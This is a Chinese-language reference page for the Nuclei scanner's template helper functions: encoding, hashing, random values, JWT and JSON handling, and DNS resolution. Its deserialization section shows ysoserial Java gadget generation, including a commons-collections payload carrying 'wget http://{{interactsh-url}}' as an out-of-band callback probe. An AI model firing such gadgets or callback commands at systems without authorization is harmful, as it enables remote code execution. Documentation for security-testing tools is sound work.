Skip to main content
以下是所有支持的辅助函数列表,可以在 RAW 请求/网络请求中使用。
Helper functionDescriptionExampleOutput
aes_gcm(key, plaintext interface) []byte使用密钥对字符串进行 AES GCM 加密{{hex_encode(aes_gcm("AES256Key-32Characters1234567890", "exampleplaintext"))}}ec183a153b8e8ae7925beed74728534b57a60920c0b009eaa7608a34e06325804c096d7eebccddea3e5ed6c4
base64(src interface) stringBase64 编码字符串base64("Hello")SGVsbG8=
base64_decode(src interface) []byteBase64 解码字符串base64_decode("SGVsbG8=")Hello
base64_py(src interface) string像 Python 一样编码字符串为 base64(带换行符)base64_py("Hello")SGVsbG8=\n
bin_to_dec(binaryNumber number | string) float64将输入的二进制数转换为十进制格式bin_to_dec("0b1010")
bin_to_dec(1010)
10
compare_versions(versionToCheck string, constraints …string) bool比较第一个版本参数与提供的约束条件compare_versions('v1.0.0', '\>v0.0.1', '\<v1.0.1')true
concat(arguments …interface) string连接给定的多个参数以形成字符串concat("Hello", 123, "world)Hello123world
contains(input, substring interface) bool验证字符串是否包含子字符串contains("Hello", "lo")true
contains_all(input interface, substrings …string) bool验证输入是否包含所有子字符串contains("Hello everyone", "lo", "every")true
contains_any(input interface, substrings …string) bool验证输入是否包含任何子字符串contains("Hello everyone", "abc", "llo")true
date_time(dateTimeFormat string, optionalUnixTime interface) string使用简化或 go 样式布局返回当前或给定 unix 时间的格式化日期时间date_time("%Y-%M-%D %H:%m")
date_time("%Y-%M-%D %H:%m", 1654870680)
date_time("2006-01-02 15:04", unix_time())
2022-06-10 14:18
dec_to_hex(number number | string) string将输入的数字转换为十六进制格式dec_to_hex(7001)"1b59
ends_with(str string, suffix …string) bool检查字符串是否以任何提供的子字符串结尾ends_with("Hello", "lo")true
generate_java_gadget(gadget, cmd, encoding interface) string生成 Java 反序列化 Gadgetgenerate_java_gadget("dns", "{{interactsh-url}}", "base64")rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IADGphdmEubmV0LlVSTJYlNzYa/ORyAwAHSQAIaGFzaENvZGVJAARwb3J0TAAJYXV0aG9yaXR5dAASTGphdmEvbGFuZy9TdHJpbmc7TAAEZmlsZXEAfgADTAAEaG9zdHEAfgADTAAIcHJvdG9jb2xxAH4AA0wAA3JlZnEAfgADeHD//////////3QAAHQAAHEAfgAFdAAFcHh0ACpjYWhnMmZiaW41NjRvMGJ0MHRzMDhycDdlZXBwYjkxNDUub2FzdC5mdW54
generate_jwt(json, algorithm, signature, unixMaxAge) []byte使用在 JSON 字符串中提供的声明、签名和指定的算法生成 JSON Web Token (JWT)generate_jwt("{\"name\":\"John Doe\",\"foo\":\"bar\"}", "HS256", "hello-world")eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmb28iOiJiYXIiLCJuYW1lIjoiSm9obiBEb2UifQ.EsrL8lIcYJR_Ns-JuhF3VCllCP7xwbpMCCfHin_WT6U
gzip(input string) string使用 GZip 压缩输入base64(gzip("Hello"))+H4sIAAAAAAAA//JIzcnJBwQAAP//gonR9wUAAAA=
gzip_decode(input string) string使用 GZip 解压缩输入gzip_decode(hex_decode("1f8b08000000000000fff248cdc9c907040000ffff8289d1f705000000"))Hello
hex_decode(input interface) []byte对给定输入进行十六进制解码hex_decode("6161")aa
hex_encode(input interface) string对给定输入进行十六进制编码hex_encode("aa")6161
hex_to_dec(hexNumber number | string) float64将输入的十六进制数转换为十进制格式hex_to_dec("ff")
hex_to_dec("0xff")
255
hmac(algorithm, data, secret) string接受哈希函数类型、数据和密钥的 hmac 函数hmac("sha1", "test", "scrt")8856b111056d946d5c6c92a21b43c233596623c6
html_escape(input interface) string对给定输入进行 HTML 转义html_escape("\<body\>test\</body\>")&lt;body&gt;test&lt;/body&gt;
html_unescape(input interface) string对给定输入进行 HTML 反转义html_unescape("&lt;body&gt;test&lt;/body&gt;")\<body\>test\</body\>
join(separator string, elements …interface) string使用指定的分隔符连接给定的元素join("_", 123, "hello", "world")123_hello_world
json_minify(json) string通过移除不必要的空白来压缩 JSON 字符串json_minify("{ \"name\": \"John Doe\", \"foo\": \"bar\" }"){"foo":"bar","name":"John Doe"}
json_prettify(json) string通过添加缩进来美化 JSON 字符串json_prettify("{\"foo\":\"bar\",\"name\":\"John Doe\"}"){\n \"foo\": \"bar\",\n \"name\": \"John Doe\"\n}
len(arg interface) int返回输入的长度len("Hello")5
line_ends_with(str string, suffix …string) bool检查字符串的任何行是否以任何提供的子字符串结尾line_ends_with("Hello\nHi", "lo")true
line_starts_with(str string, prefix …string) bool检查字符串的任何行是否以任何提供的子字符串开头line_starts_with("Hi\nHello", "He")true
md5(input interface) string计算输入的 MD5(消息摘要)哈希值md5("Hello")8b1a9953c4611296a827abf8c47804d7
mmh3(input interface) string计算输入的 MMH3 (MurmurHash3) 哈希值mmh3("Hello")316307400
oct_to_dec(octalNumber number | string) float64将输入的八进制数转换为十进制格式oct_to_dec("0o1234567")
oct_to_dec(1234567)
342391
print_debug(args …interface)打印给定输入或表达式的值。用于调试。print_debug(1+2, "Hello")3 Hello
rand_base(length uint, optionalCharSet string) string生成给定长度的随机字符序列,使用可选的字符集(默认为字母和数字)rand_base(5, "abc")caccb
rand_char(optionalCharSet string) string从可选的字符集(默认为字母和数字)生成一个随机字符rand_char("abc")a
rand_int(optionalMin, optionalMax uint) int在给定的可选限制范围内生成一个随机整数(默认为 0 - MaxInt32)rand_int(1, 10)6
rand_text_alpha(length uint, optionalBadChars string) string生成给定长度的随机字母字符串,排除可选的不需要的字符rand_text_alpha(10, "abc")WKozhjJWlJ
rand_text_alphanumeric(length uint, optionalBadChars string) string生成给定长度的随机字母数字字符串,排除可选的不需要的字符rand_text_alphanumeric(10, "ab12")NthI0IiY8r
rand_ip(cidr …string) string生成一个随机 IP 地址rand_ip("192.168.0.0/24")192.168.0.171
rand_text_numeric(length uint, optionalBadNumbers string) string生成给定长度的随机数字字符串,排除可选的不需要的数字rand_text_numeric(10, 123)0654087985
regex(pattern, input string) bool测试给定的正则表达式是否匹配输入字符串regex("H([a-z]+)o", "Hello")true
remove_bad_chars(input, cutset interface) string从输入中移除指定的字符remove_bad_chars("abcd", "bc")ad
repeat(str string, count uint) string将输入字符串重复指定的次数repeat("../", 5)../../../../../
replace(str, old, new string) string在给定输入中替换指定的子字符串replace("Hello", "He", "Ha")Hallo
replace_regex(source, regex, replacement string) string替换输入中匹配给定正则表达式的子字符串replace_regex("He123llo", "(\\d+)", "")Hello
reverse(input string) string反转给定输入reverse("abc")cba
sha1(input interface) string计算输入的 SHA1 (Secure Hash 1) 哈希值sha1("Hello")f7ff9e8b7bb2e09b70935a5d785e0cc5d9d0abf0
sha256(input interface) string计算输入的 SHA256 (Secure Hash 256) 哈希值sha256("Hello")185f8db32271fe25f561a6fc938b2e264306ec304eda518007d1764826381969
starts_with(str string, prefix …string) bool检查字符串是否以任何提供的子字符串开头starts_with("Hello", "He")true
to_lower(input string) string将输入转换为小写字符to_lower("HELLO")hello
to_unix_time(input string, layout string) int使用默认或用户提供的布局解析字符串日期时间,然后返回其 Unix 时间戳to_unix_time("2022-01-13T16:30:10+00:00")
to_unix_time("2022-01-13 16:30:10")
to_unix_time("13-01-2022 16:30:10", "02-01-2006 15:04:05")
1642091410
to_upper(input string) string将输入转换为大写字符to_upper("hello")HELLO
trim(input, cutset string) string返回输入的一个切片,其中移除了所有在 cutset 中包含的首尾 Unicode 码点trim("aaaHelloddd", "ad")Hello
trim_left(input, cutset string) string返回输入的一个切片,其中移除了所有在 cutset 中包含的开头 Unicode 码点trim_left("aaaHelloddd", "ad")Helloddd
trim_prefix(input, prefix string) string返回不含提供的前缀字符串的输入trim_prefix("aaHelloaa", "aa")Helloaa
trim_right(input, cutset string) string返回一个字符串,其中移除了所有在 cutset 中包含的尾部 Unicode 码点trim_right("aaaHelloddd", "ad")aaaHello
trim_space(input string) string返回一个字符串,其中移除了 Unicode 定义的所有首尾空白trim_space(" Hello ")"Hello"
trim_suffix(input, suffix string) string返回不含提供的后缀字符串的输入trim_suffix("aaHelloaa", "aa")aaHello
unix_time(optionalSeconds uint) float64返回当前 Unix 时间(自 1970 年 1 月 1 日 UTC 以来经过的秒数),加上可选的秒数unix_time(10)1639568278
url_decode(input string) string对输入字符串进行 URL 解码url_decode("https:%2F%2Fprojectdiscovery.io%3Ftest=1")https://projectdiscovery.io?test=1
url_encode(input string) string对输入字符串进行 URL 编码url_encode("https://projectdiscovery.io/test?a=1")https%3A%2F%2Fprojectdiscovery.io%2Ftest%3Fa%3D1
wait_for(seconds uint)暂停执行给定秒数wait_for(10)true
zlib(input string) string使用 Zlib 压缩输入base64(zlib("Hello"))eJzySM3JyQcEAAD//wWMAfU=
zlib_decode(input string) string使用 Zlib 解压缩输入zlib_decode(hex_decode("789cf248cdc9c907040000ffff058c01f5"))Hello
resolve(host string, format string) string使用您定义的 DNS 类型解析主机resolve("localhost",4)127.0.0.1
ip_format(ip string, format string) string接收一个输入 IP 并根据此图例将其转换为另一种格式,第二个参数表示转换索引,必须在 1 到 11 之间ip_format("127.0.0.1", 3)0177.0.0.01

反序列化辅助函数

Nuclei 允许从 ysoserial 生成一些常见的 gadget 负载。 支持的负载:
  • dns (URLDNS)
  • commons-collections3.1
  • commons-collections4.0
  • jdk7u21
  • jdk8u20
  • groovy1
支持的编码:
  • base64 (默认)
  • gzip-base64
  • gzip
  • hex
  • raw
反序列化辅助函数格式:
{ { generate_java_gadget(payload, cmd, encoding } }
反序列化辅助函数示例:
{{generate_java_gadget("commons-collections3.1", "wget http://{{interactsh-url}}", "base64")}}

JSON 辅助函数

Nuclei 允许以不同方式操作 JSON 字符串,以下是其函数列表:
  • generate_jwt,使用 JSON 字符串中提供的声明、签名和指定的算法生成 JSON Web Token (JWT)。
  • json_minify,通过移除不必要的空白来压缩 JSON 字符串。
  • json_prettify,通过添加缩进来美化 JSON 字符串。
示例 generate_jwt 要生成 JSON Web Token (JWT),你至少需要提供要签名的 JSON。 以下是使用 generate_jwt 函数支持的算法列表(不区分大小写):
  • HS256
  • HS384
  • HS512
  • RS256
  • RS384
  • RS512
  • PS256
  • PS384
  • PS512
  • ES256
  • ES384
  • ES512
  • EdDSA
  • NONE
空字符串 ("") 也表示 NONE 格式:
{ { generate_jwt(json, algorithm, signature, maxAgeUnix) } }
除了 json 之外的参数都是可选的。
示例:
variables:
  json: | # 必需
    {
      "foo": "bar",
      "name": "John Doe"
    }
  alg: "HS256" # 可选
  sig: "this_is_secret" # 可选
  age: '{{to_unix_time("2032-12-30T16:30:10+00:00")}}' # 可选
  jwt: '{{generate_jwt(json, "{{alg}}", "{{sig}}", "{{age}}")}}'
maxAgeUnix 参数用于设置调用函数时的 JWT 标准声明 "exp"(过期时间)以及 "iat"(颁发时间)。
json_minify 格式:
{ { json_minify(json) } }
示例:
variables:
  json: |
    {
      "foo": "bar",
      "name": "John Doe"
    }
  minify: "{{json_minify(json)}}"
minify 变量输出:
{ "foo": "bar", "name": "John Doe" }
json_prettify 格式:
{ { json_prettify(json) } }
示例:
variables:
  json: '{"foo":"bar","name":"John Doe"}'
  pretty: "{{json_prettify(json)}}"
pretty 变量输出:
{
  "foo": "bar",
  "name": "John Doe"
}
resolve 格式:
{ { resolve(host, format) } }
以下是 DNS 类型可用的格式列表:
  • 4a
  • 6aaaa
  • cname
  • ns
  • txt
  • srv
  • ptr
  • mx
  • soa
  • caa

示例

更多示例,请参阅辅助函数示例